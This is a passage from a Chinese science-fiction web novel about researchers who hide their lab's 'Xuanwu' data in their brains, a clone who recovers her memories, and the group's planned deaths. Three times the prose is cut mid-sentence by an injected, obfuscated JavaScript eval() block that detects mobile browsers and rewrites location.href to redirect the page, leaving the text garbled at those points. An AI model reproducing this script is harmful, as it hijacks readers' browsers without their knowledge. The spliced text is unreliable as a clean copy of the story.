李开心继续道:“出口出现,我必须带你走,只要我还活着,我就得遵照这条指令。所以,”李开心挑起嘴角,对言笑露出笑容,坦然无惧,也如释重负。“我的底层程序来自你,今天我把我的程序还给你。反正我已经活了很久,没什么可惜。言笑,我——” “你闭嘴!” 言笑顿时一蹦三尺,拼尽全力大吼出声。 言笑知道李开心对什么话过敏,话说出口必定没命。那句剖白戛然而止,倒不是因为言笑命令,而是花方看出端倪,朝着李开心太阳穴一记肘击,直接将李开心击昏过去,阖眼倒在花方脚下。 言笑服了。上天入地都找不出第二个人有这么别出心裁的自杀方法。 花方朝李开心踢了一脚,确认他没那么快醒,才稍微放下心来,抬头问言笑,“怎么办?要不你想想怎么给他改程序?你要是改不出来,他和你至少得死一个。” “这玩意是说改就改的吗?”言笑拉磨似的围着李开心转圈,愁云满面,“等会儿他醒了怎么办?要不你定个闹钟,每隔半小时给他来一下子?” 乔步天问她,“你之前说他必须听命于当局,程序是你给他改的。那时候你是怎么做到的?” “那时候,那时候……”言笑愁眉苦脸,“那时候我要是不给他改程序,他就要被联盟的人宰了,我一着急就给改了。” 乔步天与花方对视一眼,“要不再情景重现一下?” 言笑一愣,“你要怎么重现?” 乔步天从花方手里拿过佩剑,没等迈步,言笑就精准阻止对方的计划,“你砍他也没事,只要他大脑和心脏还在就死不了——”话到此处蓦地一顿,言笑拍腿道:“要不咱把他脑子和心脏挖出来,然后找个塑料袋我给拎出去?” 乔步天,“……我上哪给你找塑料袋?” 言笑摆摆手,“不要纠结这些细节,这不重要……啊也不行,”说到一半又改了口,“他大脑会发信号,就不能让他出这个泡泡。要不这样,老三,你在这儿看着他,随便是给他打昏给他毒晕,还是实在看不住他,直接把他脑子和心脏挖出来,我和二哥先出去。之前我在泡泡里发现过一份资料,说联盟有个研究叫什么‘克隆大脑记忆复苏技术’,李开心说这个研究没成功,但是资料显示这个研究成功了。所以我猜会不会实际上确实有这么个技术但联盟不知道。真要是这样就好办了,二哥,咱们出去找找,要是我能恢复我的原身记忆,我就可以给他改程序了!” 言笑越说越亢奋,只觉这个计策万无一失,花方与乔步天一语不发听着,始终未曾搭话。直到言笑叭叭叭说得快要背过气去,终于说完,开始吸气猛喘,花方才勉强开口,“又或者,不用那么麻烦。我们可以现在立刻挖出112358的大脑。你出去太危险,联盟不会放过你,只要你愿意,你可以在这里跟二哥三哥过一辈子。” 言笑不喘了,陌生地盯着花方,片刻,郑重否决这个提议。“我不会放弃他。” 花方也看着她,许久,突然轻笑出声,“也是。如果真这么做,就不是你了。” 乔步天听出苗头不对,竟然连花方都和言笑站一边,脸色一变,“不行!老六你——” 花方拍拍乔步天的肩胛,示意他别再说下去。乔步天古怪地瞧着言笑,嘴唇动了动,终于还是没再多说什么。 花方向金光灿灿的骰子扬扬下巴,对言笑道:“去吧,笑笑。” 言笑半蹲在李开心身旁,匆忙把他全身上下摸了一遍:没见骰子,只有旧手机藏在袖里。大概李开心已经找了妥帖地点安置骰子,于是言笑揣走旧手机,起身试探着问花方,“二哥,要不咱们一起走?你肯定比我了解实验所,我怕我没头苍蝇似的,什么都找不到。” 问是问了,言笑心里却在打鼓。石窟外面正乱,说不定巫族怨灵什么时候就要搞出状况,乔步天留在这里也不怎么安全,花方很可能不会放心留下乔步天。 花方淡道:“我们两个出不去。” 言笑一怔,“……什么?怎么会出不去?” “我在这里几十年,前后发现过六个出口。从前我一门心思要复活老三,从没打算离开过,而等到老三复活,我们却发现……我们都走不了。 “之前在泡泡之间穿越,我从没感觉到任何阻力,但当我们两个想要出去,却感受到一种奇怪的……”花方停顿一下,努力思考应该如何描述这种感觉,“就好像我们在这里待久了,被粘在了这个世界之中,怎么都无法脱离下来。” 言笑仍不死心,总想着事情或许还有转圜余地,“难道就没有什么方法,可以让你们不被粘在这里吗?你们总要试一试啊!” 乔步天眼皮垂着,露出一丝沮丧神色,“好像有过,但是很难复制。两个多月前的一天,这个世界突然震颤起来——不是地震,而是整个空间都在震荡。那时候我们觉得我们与这个世界的连结仿佛削弱了一点,可等震颤过去,一切就又恢复如常。” 言笑追问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239962|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“两个月多多久?” 乔步天回答,“准确来说,是七十八天以前。” 言笑心里一沉。 七十八天以前,露娜将阿特拉斯沉入海底。如果沉一座岛对于这个泡泡的影响也只是“连结仿佛削弱了一点”,言笑实在难以想像把他们两个从这里轰下来究竟需要多大能量。 花方打断言笑的思路,“先别想这个了,事情总要一点一点解决。既然你打定主意要出去恢复原身记忆,救112358,那你就先去找恢复记忆的方法,其他的事以后再说。” 言笑深深吸气,点了点头,“好,我知道了。你们两个看好他,别让他醒过来。我怕他一旦醒了,你俩都打不过。” 花方一笑,“放心。” 言笑扭头看向那两颗疯狂旋转的骰子,骰子在言笑的注视中终于缓缓停下转动,砰然落在地面。两个六点。 出去之后就不用穿这里的衣服了。言笑三下五除二扯掉花方给她准备的襦裙,随手扔在地上,刚跨过去,又折返回来,摘下龙形徽章,重新别在自己胸口。虽然花方没明说这东西是不是开过光还是怎么,但既然是半仙赠的,说不定会带来好运。 一脚踏出,身后世界像是隔了一道水雾,水雾之后模糊朦胧看不清楚,言笑再次看见实验室中那个把她一秒拍晕的展示柜。 以及一个黑洞洞的枪口。 每到危急时刻,言笑的本能总是胜过所有思考。对方扳机叩动,言笑甚至看清了手指弯曲,如同电影里的慢动作,杀人的瞬间被浪漫地无限拉长。可当言笑处于枪口对面,第一反应永远不是躲避,身体沉重,总是很难躲避过去。 言笑的第一反应是拔枪,乔步天给她的那把半自动手枪,也不瞄准,毫不犹豫扣动扳机。 你要杀我,我躲不过去,那我们就一起死。 以眼还眼,以牙还牙。 枪声炸开,在23世纪已经很少见到这种古董手枪,除了游戏之中,也再听不到如此震耳欲聋的枪响。言笑肩膀一痛,像被针刺了一下——事实上也确实是被针刺了一下,对方的枪只是一把注射枪。 而言笑这边是真枪实弹。 对方应声而倒。金色长卷发盖住了脸,子弹没入胸膛,长裙的褶皱蜿蜒成一片海,言笑在那海里看到了传说的模样。药液注入的瞬间像是有巨型武器在言笑大脑中炸响,言笑头痛欲裂,眼前尽是眩彩,极光裹着岩浆,飞船飞向黑洞,太阳猛烈生长。神经元上的无数突触在药液灌注下如同丝线缠绕,塞在大脑里密密麻麻。天地变得混乱而拥挤,天上哗啦哗啦下着威士忌,言笑伸手沾了雨滴放到嘴里,竟然尝到新鲜柠檬的气息。 一切都不作数。一切都来得及。 荷官在派牌之后眨了眨眼,虎斑猫伸出爪子,海棠破土而出,言笑俯身在全息河流中捞出一尾锦鲤。封闭空间,光线倏忽尽皆消失,言笑想开口呼救,却发不出声音。 救我。 杀了我。 可要救你们的是我。 也只能是我。 言笑被冷汗浸透后背,甫一开口,差点呛出泪来。 “温厉……美美!温美美!” 言笑终于生长出被掩藏半个多世纪的记忆。 以温厉的死亡为献祭。 70. 少年游13 在偷出乔步天的尸体、又挖出他的眼珠后,言笑确实发现了一些东西:根据乔步天的视神经信息还原,他在死前看见了两个模糊人影。虽然看不清面容,但有一点可以确信:乔步天在死亡瞬间,眼前站着两个人。 “我检查了飞船舱门的扫描记录。记录显示,老三的确认信息被连续使用三次。也就是说,那两人用的都是老三的确认信息,他们跟着老三进了飞船。” 谭述面色凝重,下颌线条紧绷如同一柄长刀,“虽然飞船舱门的扫描设备是上世纪的产品,盗取人体信息暗渡陈仓不算难以实现,但提取信息需要时间,这些人是什么时候控制老三的?” 言笑握起茶壶,又从茶盘拿了两个茶杯,一人一杯,先把茶水满上。谭述这里的茶叶都是花方特意培植的,精挑细选21世纪的珍藏品种,其他地方找不到,不喝白不喝。“我把这事想了一遍。我觉得有个地方咱们从一开始就想错了。” 谭述没心思喝茶,眉头微微拧起,“当局。” 言笑打了个响指,吹着气把茶喝了,“之前我们以为是沈知淮给老三洗了记忆,但也有可能不是她。温厉打听过了,老三那天在傍晚离开了温氏集团,那么从当天傍晚到第二天早上他回实验室,中间这段时间什么事情都有可能发生。 “当局带走了他,威逼利诱,想知道有关玄武的消息。可乔步天没低头,当局就拷问他的大脑,然后给他洗去记忆。也就是在那个时候,他们给乔步天做了全身扫描,偷走他的生物信息,为日后闯入实验室的地盘做准备。 “但他们没想到、从前也不知道的是,强度并不算大的记忆清洗会让乔步天精神失常。他们先碰了你的钉子,又碰了乔步天的钉子,黔驴技穷,这才跟我们打明牌,直接向实验室索要玄武。” 说到此处,言笑悠悠叹气,食指指尖在杯壁敲敲,示意谭述添茶。“如果乔步天有心背叛,他会是个完美的利用对象:有野心,但是没背景,总怕不如人,总想比过人。现在想想,之前都说他从我手里抢了温氏集团的项目,或许从一开始,沈知淮的目标就是他——拿诱饵吊住他,同时又离间了我们。” 谭述给言笑添茶,安静听她说完,“你能把这些分析给我听,想必已经深思熟虑过了。说吧,你的应对策略是什么?” 言笑“嘿嘿”一乐,凑过脸去巴巴问他,“那你会答应使用我的应对策略吗?” “我可没这么说。” “我爸已经答应了。” “言将军也在你的计划里?” “必不可少。”言笑清清喉咙,“我的计划是——删掉玄武数据。” 看出谭述想说什么,言笑率先抢话,“但玄武是咱们实验室那么多代人的心血,平白把数据删光不如把我浸猪笼。所以——我们要把这些数据储存在我们的大脑中。” 谭述低垂睫毛,略一计算,“以玄武的数据量,这不是一颗两颗大脑可以解决的。当局步步紧逼,说不定什么时候就会和我们撕破脸,那么下一步就是违反约定,强行拷问我们的大脑。到那时候不仅我们会把命搭进去,数据也会被从大脑中剥离出来。虽然以当局现在掌握的技术手段来说,他们从我们这里拷问不出什么,可近年成立的另外一所实验所,星火实验所,就是他们用来与魔方实验所相抗衡的。要是他们大批量挖走魔方相关项目的研究员,攻破我们的防御壁垒不是没有可能。” 言笑弯起嘴角,托腮笑眯眯道:“所以我们要多留一步棋。我已经计算过了,转移玄武大概需要4.5颗大脑。” 谭述眯起眼睛打量言笑。看言笑此刻胜券在握的表情,就知道她还有后招,可谭述一时也没猜出这后招是什么,只能被言笑牵着思路走。“我们有五个人,绰绰有余。只要不信息超载,我们就不会产生精神问题。” 言笑神秘地摇摇手指,“非也,非也。不是这么分的。花方、温厉和秦笙,这是三个人。你这些年秘密培育的那颗克隆大脑,加上它,就是四个。剩下0.5,都是你的。” 谭述不再说话,只等言笑继续。言笑没迎来预料之中的猜测与质问,不满地撇撇嘴,却又耀武扬威昂起下巴,炫耀自己天衣无缝的计划。“如果直接告诉当局,我们删除了玄武,当局必然不会善罢甘休。所以我们要给他们一个足够让他们闭嘴的理由。 “我爸小时候也接受过反窥探训练,但当局并不知道。那么只有一种可能会让当局把我爸当成突破口,就是——” “你别说了!”谭述突然厉声打断她。 谭述难得如此疾言厉色,言笑猝不及防,吓得缩缩脖子,“你喊什么?我还没说完呢。” “无论你想说什么,”谭述盯紧言笑的眼睛,一字一顿,“都别说了。” 言笑丝毫没被谭述震慑,自顾自继续陈述,“就是我身上出了纰漏。我之前私下找过沈知淮,但这事沈知淮没有跟当局提起过。所以今天下午你不要去拷问她,换我去,我会故意露出破绽,让沈知淮咬死我。 “我和间谍牵扯不清,一定会有大麻烦。联盟近年一直想继续三战之前的地外探索,可没有合适的时机也没有合适的人选,我会让我爸趁机提议由我进行探索任务,将功折罪。魔方实验所有现成的飞船,我的知识储备也足够,最关键的是,大家在八卦里老说我爸和我不合。如果我爸出面把我扔去干这苦差事,既可以让我免于过于严重的罪责,又会让人觉得他也没多心疼我,名正言顺。 “而你,我需要你和当局缓和关系,并且在适当的时候告诉他们,其实魔方实验室一直都是言家的一言堂。你是这些年来唯一一个不姓言的负责人,言将军连女儿都嫉妒,那么你与言将军的关系可想而知。你要找到机会和借口,让当局离间你和我爸,等到当局可以名正言顺拷问我爸,我爸就会‘被迫’透露,玄武其实在我的大脑里——即使那时他的精神出问题,达到这个效果也不难。我们只要提前给他植入应对当局的文字信息,在他的大脑打上戳记,这样等当局审问他,他就可以说出相应的答案。毕竟他经历过反拷问训练但当局并不知道这点,他对于大脑拷问的耐受性远高于常人。” 谭述神色复杂,像听见了什么荒唐笑话,笑笑不出哭哭不出,语调僵滞得像嗓子里塞了一截枪管,“疯一个……死一个?”错乱似的仓促笑了一声,“言笑,你才多大,你怎么能想出这样的计划?” 言笑不悦道:“我还没说到我死那段儿呢,你听我说完。等当局‘强迫’我返回地球,你要想办法散布消息,让百姓都知道我是回来做武器研究的,我会协助当局打响战争。到时候一定民愤四起,物议如沸,这种情形下如果有极端分子想取我狗命,那再正常不过了吧?我会在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245398|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开以前在我脑中植入一小部分真实的玄武信息,这样等我死后,当局检查我的大脑,他们才会相信我脑子里确实储存着玄武。至于剩下的部分——只要我的死亡是因为大脑损伤,他们就死无对证。当局要挟我回地球,可我死了,信息被毁,当局就再没有理由为难魔方实验室。至于信息量的问题——他们又不会知道存储玄武到底需要几颗大脑。” 谭述推开手边茶杯,“想都别想。我不同意。” 言笑说得口干舌燥,当头就被否定,咕嘟咕嘟连灌两杯茶水,又“啪”地把杯子按回桌上。“我爸都同意了,你还瞻前顾后什么?科学是疯狂的,科学也是荒谬的。守护科学的道路又有什么不一样呢?” “如果需要牺牲两个人,保护玄武还有什么意义?” “我倒也不想啊。”言笑头痛地按按太阳穴,“关键是直接告诉他们玄武没了,他们不得把咱们全都切块蘸酱吃?死我一个,还是实验室全军覆没,你觉得该怎么选?科学没有对错,错的是人。玄武是魔方实验室的骄傲,它只是不能被用错地方,所以你们只需要好好保护你们的脑袋,这是你们在这个计划里的任务。” 谭述深吸一口气,“如果一定需要一个靶子,我可以来当这个靶子。” “那可不行!”言笑喝饱了茶,伸个懒腰,站起来溜达到窗前。魔方实验室在魔方大楼顶楼,比一些飞艇的允许升空高度还要高,此刻言笑垂眸看着,好几架小飞艇正在挨层给研究员送餐。“我没法虚与委蛇,没法屈从,我不适合这项工作,这活儿只能你干。” “如果我真这么做,我永远无法原谅自己。” 言笑回身,与跟到她身后的谭述对视,“那就救大家的命,然后怨恨自己一辈子。我是在通知你,不是征求你的意见。” 谭述沉声道:“言笑,只要有我在,你决定不了所有事情。” “大哥。”言笑忽然眨眨眼,受了委屈似的,上前几步,伸出手臂抱住谭述,“你怎么知道,我决定不了所有事情呢?” 当谭述反应过来时已经来不及了。颈上有极其轻微的痛感,大脑放空,手脚失去所有力气,整个躯体恍若瞬间蒸发。言笑收起注射器,安慰一般贴着谭述的耳朵喃喃道:“我会保护你。我会保护你们。我会保护魔方实验室的所有人。” 窗外的风卷起一点细雪。当楼层高度够高,风都是向上走的,雪花拔地而起,城市成了被白色笼罩的圣诞装饰摆件。后来当言笑多年后自太空返航,落地地球那天也是这样,只是人声太盛,再洁净的雪也会显脏。舱门外是无数记者与镜头,他们正在等待采访这位神秘的魔方实验室研究员、地外探索先行者、曾经被判通敌罪的联盟罪犯,以及即将进行超级武器开发的战争贩子。 “李开心,祝你永远自由,祝你永远开心。”言笑如是说。 飞船舱门缓缓开启,发射基地密密麻麻挤满了飞行取景器。言笑踏出飞船,甚至没来得及走第二步,潜伏在取景器中的空|气|枪发出咔哒脆响,言笑眉心突地炸开一片殷红。星系缩回奇点,宇宙没有昨天,大脑超过85%的区域在这一刻倒退成为原始原子,只余下经过精确计算的部分依然保留着鲜嫩色泽,如同翻覆世界的手掌,环绕包裹着狼狈残骸。 言笑直直向后栽倒落地,双目圆睁。 当场毙命。 71. 终曲01 言笑脚软得站不稳,连滚带爬扑向温厉。 “老四!老四!” 所有本能反应都在这一刻有了来源。言笑曾经亲手设计自己的死亡,就在空气弹打入眉心的前一瞬间,言笑甚至能从无数取景器中辨别出即将要她性命的枪口。 可那时候她不能躲,也不能反击。 像是喉咙里被迫灌了一把砂子,嗓子被搓磨的剧痛让言笑几乎说不出话,眼珠胀痛得快要爆裂,带血的残酷碎片破土而出。言笑慌张,也害怕,总觉得自己应该做些什么,但属于两个人的记忆在同一副躯体里搅拌混合,煮成一锅杂乱的粥,当面对躺在地上气息全无的温厉,言笑竟然束手无策。 “对了,对了,”言笑拼命抓着头发,口中喃喃,“复苏机器!这么老款的手枪,打在身上也不一定致命的。” 温厉虽然常做女人打扮,身量纤细苗条,可再怎么说也是男人,骨架重得要命。言笑脚底打滑,连拖带拽把他扽走,努力迫使自己不要细想,其实刚才那当胸一枪分明已经打中要害。 “放下他。” 实验室门口传来一个冷淡声音。言笑一怔,匆忙抬起了头,看清来人后立时欣喜起来,像是终于有了救命稻草,“秦笙!你怎么在这儿!快帮我把老四弄到复苏机器里,再晚就来不及了!” 秦笙低头瞄瞄被假发挡住面颊的温厉,“死就死吧,他应该死。” 言笑仍然拔萝卜似的拽人,又急又怒,“你怎么回事?你要看着老四死吗!” 秦笙举枪,枪口对准温厉的头颅。 言笑动作一顿,忽然冷静下来,两手松开,温厉的脑袋啪嗒磕到地上。 秦笙抿了抿嘴唇,终究还是没有扣下扳机,收回空|气|枪,问言笑道:“你难道不记得,我们的大脑里都装着什么吗?” 记得。所以言笑松手了。一切疑惑在言笑想通关窍的那刻有了答案,秦笙的目标不是温厉,是温厉的大脑,而秦笙这么做只有一种可能——多年前被言笑以死压制的问题,如今压不住了。 当年乔步天与言笑相继死去,谭述效力星火实验所,花方失踪,温厉回到温家,整个魔方实验室只余下了秦笙一人。好在言笑的计划奏效,当局当真相信玄武的数据都已泯灭,于是命令秦笙研发克隆大脑记忆复苏技术,试图恢复言笑大脑当中的数据。 “现在再想,我那时候真是天真。”秦笙笑了笑,一如当年无忧无虑的快活模样,年轻美艳,澄明单纯,“魔方实验室付出了那么大的代价,但我竟依然相信,科学研究只是科学研究,并不代表其他。所以我接下了这个任务——当然,我也没有权利选择不接。” 项目连年失败,当局委派星火实验所的研究员强行介入,最后得到的结论是,效果不理想可能是因为克隆大脑缺少社会性刺激。于是多年来当局无数次克隆言笑,往大脑里灌注人工记忆,并派人密切监视,又在得知泡泡可以对言笑的克隆大脑产生针对性效果之后,无数次让李开心带克隆体进入泡泡。 而这当中唯一一个例外,就是言笑——或者从现在的视角来说,是从前那个在下城区长大、每天看仓库玩游戏的言笑。彼时谭述叛离魔方实验室,秦笙一辈子没有原谅他,直到数年前秦笙寿终,两人才终于在相隔几十年后重见一面。 只要你愿意,我可以为你重新制作躯体。在你的原生大脑彻底老化之前,你至少还能再活几十年。 有没有这几十年,对我而言都无所谓。可是…… 可是什么? 小六死的时候还那么小,为什么我们却能活到现在,老态龙钟,须发尽白。我们只是从没有自由过,言笑却连人生都不完整。 言笑之死是秦笙始终跨不过去的坎。为了满足秦笙的心愿,谭述在当局计划之外,秘密克隆出了“言笑”,灌注精心设计过的记忆,让她与秦笙一起生活;又为言笑准备一对关心她爱护她的父母,这是言笑从前没有得到过的。 “搬到下城区时,我带走了记忆复苏药剂,那是唯一一支药剂,连当局都不知道它的存在。我一直把它藏在立体画里——” 言笑恍然大悟,“就是满身插针的那个?” “是。”秦笙点头。“后来有人入室抢劫,药剂丢了,一开始我以为是当局发现了你,可再想想,这不是当局的作风,他们没必要偷盗。不久之前新闻报导,星火实验所发生爆炸,我通过一些渠道打听到——损失的是一批克隆样本。” 言笑怔愣,茫然道:“我没听懂。” “是你!星火实验所里被炸掉的是你的克隆体!”秦笙忽然激动不已,“以星火实验所的安全等级,不可能发生这样的失误,所以我猜,是谭述炸毁了那批样本。甚至不止这些,只要是当局管辖范围内、能被他找到的克隆体,他全杀了。” 零散拼图一块一块连接起来,言笑努力试图猜测,“因为……因为星火实验所的记忆项目有进展,我们的数据快要瞒不过去了?” “星火实验所刚成立时,从魔方挖走了大批做记忆研究的研究员。虽然那些研究员无法接触到最核心的技术,但凭借他们知道的细枝末节,加上这些年当局从克隆体脑中恢复的数据,或许距离完全复刻你的大脑记忆只差临门一脚。其实直到今天我才敢彻底肯定,当年你的大脑中没有存储太多玄武数据,可那时候当局派人检查过,你那里存储着一些设计框架,这也正是你能骗过他们的原因。如果当局铁了心要对我们赶尽杀绝,你脑中这一点点信息的重要性丝毫不亚于我们所存储的大量信息,所以谭述不会让‘你’回来,而是会杀尽所有的‘你’。 “既然偷盗药剂的不是当局、不是谭述,那么排除一下,只能是老四。”秦笙垂眼看着温厉,浓长睫毛在眼下投出阴影,“我们六个一起长大,都太了解彼此了。他能猜到谭述不会放任我死去,也能猜到我隐瞒了克隆大脑记忆复苏技术的真正研究成果。他想把‘你’找回来,目的是什么呢?反抗吗?反抗是我们年轻时做的事情,换到现在来说,我们的存在就是错误。” 言笑久久陷入沉默。 “其实我今天来,是为了验证我的猜想。我找到了当年谭述养的那颗克隆大脑,这些年他一直把那颗大脑秘密藏在飞船。果然当年的数据一分为五,真正的第五份数据并没有存储在你的大脑之中。如此一来,唯一能说得通的解释就是,谭述不是叛徒,是你们两个谋划了这一切。” 言笑别过脸去,不敢与秦笙对视,闷声嘀咕,“……那什么你倒也不必非要用这么沉重的用词。” “言笑,”秦笙正色,叫得连名带姓。言笑更心虚了,头都抬不起来。“我不傻,我能猜到你为什么被杀。你保护了我们所有人,所以在下城区的时候,我只是想保护你。可是你……你为什么要一次又一次从泡泡里出来呢?” 言笑一呆,人格似乎突然切换回去,嗫嚅片刻,回了一句实话,“……我想赚钱买房子,然后和你一起住。我马上就攒够能在上城区买房的钱了。” 秦笙直直凝视着她,突然扑簌下来两行眼泪。 言笑手足无措,想给秦笙擦脸,又怕把妆擦花,再给秦笙惹生气。“公主你可别,你,哎呀,你说你什么都猜到了,你和大哥别扭什么?馊主意是我出的,大哥是强行被我拉上贼船的,和大哥没有关系。” “你死了倒轻松,那我们呢!”秦笙再按捺不住,眼泪大颗大颗滚落下来,声音愈发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245399|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模糊,“你只活了二十几岁。” 言笑被秦笙哭得心里发毛,眼珠乱转,两手背在身后,专心抠手指头。“这不是又多活了一辈子么,是我赚了。” 秦笙哭了会儿,吸吸鼻子,拿手背擦了擦脸,“既然克隆体已经全部销毁,那么谭述的下一步一定是杀死我们所有人,清理我们的大脑信息。我已经将谭述的克隆大脑销毁了,温厉我会在他大脑上补几枪,然后就是我,还有谭述。” 秦笙冷静计划着魔方实验室所有人的死亡,像是在为实验项目做出严密周详的推进计划。“从前你想保住实验数据没有错,如今我们必须销毁实验数据也是不得不做出的选择。从前我们都不敢死,因为我们的记忆底层保存着魔方研究所数代人的心血;如今我们也都不能活,因为这些心血终将被人利用。”这一切太过讽刺,秦笙说着说着,竟真笑出声来,“只是,科学不应该是客观的吗?为什么要论对与错呢?” 言笑不知应该如何回答。 “行了,说完了。”秦笙长舒一口气。承载大半生的秘密终于全部倾吐,秦笙如释重负,“温家一旦动乱,就是联盟内战,所以温厉非死不可。而你——虽然我不知道你是怎么做到的,但看来你摆脱了112358。言家已经没人了,只要你躲回泡泡,你可以不必死。可是我和谭述不行,我们背后还有家族,要想结束这一切,我们只能以死作为交待。” 秦笙缓缓举起了枪,枪口对准太阳穴。言笑当即傻眼,疯狂摆手,嘴皮子拌蒜地奋力试图劝阻,“那什么你你你秦笙你别冲动!你刚才不是说大哥是秘密打印你的吗,那你原本的躯体已经死过了呀,你跟着死什么?” 秦笙倏忽嫣然一笑,眼角割裂的泪水晶莹如同钻石,“小时候我老觉得,要是能长生不老该有多好,这世界很奇妙,怎么都看不够。但活到现在,活够了。这世界虚伪、残暴、毫无信仰与正义可言,这世界让我厌烦。而且就在我去谭述那里救你的那天,我的存在就已经暴露了,桩桩件件加起来,谭述也必定会被当局清算。如果我没猜错,他已经清理掉了你的原身。他死之前一定会来这儿,我不想见他,所以我得抓紧时间。小六,再——” 扳机即将叩动,言笑朝秦笙猛扑过去。然而还没等两人身体接触,秦笙手中的空|气|枪突然受到冲击,就此脱手,啪嗒落地。轮椅自门外阴影中来,无声前进,白发苍苍的老者好整以暇将手中的枪放在膝上,抻了抻原本就毫无褶皱的白手套。 “连好好告个别都不肯么?想到我会来,就这么急着死?”谭述略一停顿,抬起了眼,“有个问题,我可以回答你。科学没有对错,但科学有立场。” 赴死的勇气往往只有一瞬间。秦笙被言笑扑倒,坐在地上大口喘息,没有回头,但也没有捡枪。 言笑怔怔望着老者,心脏像是突然被利爪抓挠,形状不规则的伤口之中涌出血来,在记载时历的泛黄旧宣上拓出印痕。 花方不会老去,乔步天从没老过,秦笙与温厉换过躯体,以至于言笑对于既过光阴丝毫没有实感。他们仿佛依然停留在时光原处,歌舞剧上演,他们唱着跳着念着台词,而等灯光熄灭,幕帘拉上,他们就会抹掉妆容扔开演出服,开一瓶酒,大笑着在实验室里摆上麻将桌。 他们都在原地,只有谭述一人走出老远。 他已经很老了,满头银发,眼珠浑浊,皱纹层叠掩盖原本英俊的面容。当年被言笑算计一遭,承担着背恩忘义的骂名,众叛亲离,四面楚歌,但却从未置辩,妥帖成全言笑的计谋与牺牲,守卫一方和平,就此沉默终身。 言笑走到轮椅跟前,蹲下,一仰起脸,两行眼泪潸然而下。 “……大哥?” 72. 终曲02 谭述平静地笑笑,伸手抚摸言笑的头发,“别哭。在二十岁就能慷慨赴死的小姑娘,怎么这么多年过去,还会哭了?当年你可都没哭呢。” 滴落泪水渗进衣料,言笑伏在谭述膝上,吸吸鼻子,嗓子哽得快要说不出话,“那时候和现在的感受不一样。那时候一心只想达到目的,可站在现在的时间点,我却知道了这个选择的结果。” 谭述垂眼看她,叹道:“你有一种近乎可怕的执拗,只要你认为对的事情,付出任何代价哪怕付出生命,你都要做到。可是没有人敢说,我们做出的所有决策都是正确的。七十多年前我们认为我们做了正确的事,然而现在,到了七十多年后,我们依然需要弥补。” 言笑起身,擦了擦脸,忽然觉得也没有多么怕了。虽说玄武在当年就该被彻底销毁,但假使那时销毁玄武,实验室这几人必定跑不了,照样要被当局钳制。牺牲言家,余下几人与其家族都过了相对安稳的一生,如此说来也很划算,活到就是赚到。 “魔方实验室在我们这代出了好几个废柴,个顶个的不思进取。我们好像从来没有把科学当作科学,我们在把科学当作宗教,无论我们多么叛逆、荒唐、不求上进,我们都没有背叛过我们的信仰。我们为了保持信仰的纯粹而献出生命,这是最值得我们骄傲的事情。” 听过言笑这一番话,秦笙突然笑了,俯身拾起了枪,转身对二人道:“正确与否,时间会给我们答案。我们做得对不对,历史知道,后人也会知道。”想到言笑大概很难释然旁观他们二人赴死,又安慰言笑道:“没什么好惋惜的。我们只是人类,我们终为骨灰。早死晚死都一样,能为信仰而死,是我们的荣光。” 飞船广播中乍然响起嘶嘶啦啦的杂音,像是信号干扰。言笑一惊,奔到窗边去看。“联盟的人来了!” 无数印着联盟军方标识的飞艇密密麻麻悬浮半空,将飞船层叠包围其中。谭述与秦笙都没露出任何惊讶神色,毕竟如今情势早在意料之中。言笑终于发现,自己去死确实比看别人死容易得多,尽管刀已架在脖子上,言笑仍想挣扎,“完了完了,这怎么办?” “你们……别……急着……死……啊……” 地上死人突然出声,言笑吓得嗷一嗓子,弯腰小心观察,满脸难以置信,“老四,你还活着?” 温厉挣扎着爬起来,有气无力骂道:“废话。我真服了你个老六,就算觉得我死了,你也不抢救一下?”豪迈地把手伸进胸口,用力拉扯,拽出一套表层柔韧的假胸,“鲁珀特之泪,能防弹的。我特意找设计师设计的,没想到还真用上了。” 假胸啪嗒甩到地上。言笑伸手挡眼,没眼看。 温厉踩着高跟鞋摇摇晃晃站起身来,恨铁不成钢地痛斥众人,“我说老大老五,你们搞一辈子科研搞傻啦?遇到事情不想别的,就想死,有没有出息?死也要拉垫背的啊,就没见过你们这么痛痛快快去死的,还觉得特悲壮是不是?”温厉一甩长发,气焰惊人,“退一万步说,咱还有个飞船呢。实在拼不过,驾驶飞船跑路行不行?” 秦笙刚要说什么,就被温厉粗暴打断,“你你你你别讲话,别说什么你家家族,老大家家族,要说家大业大,你们谁比得过我?” 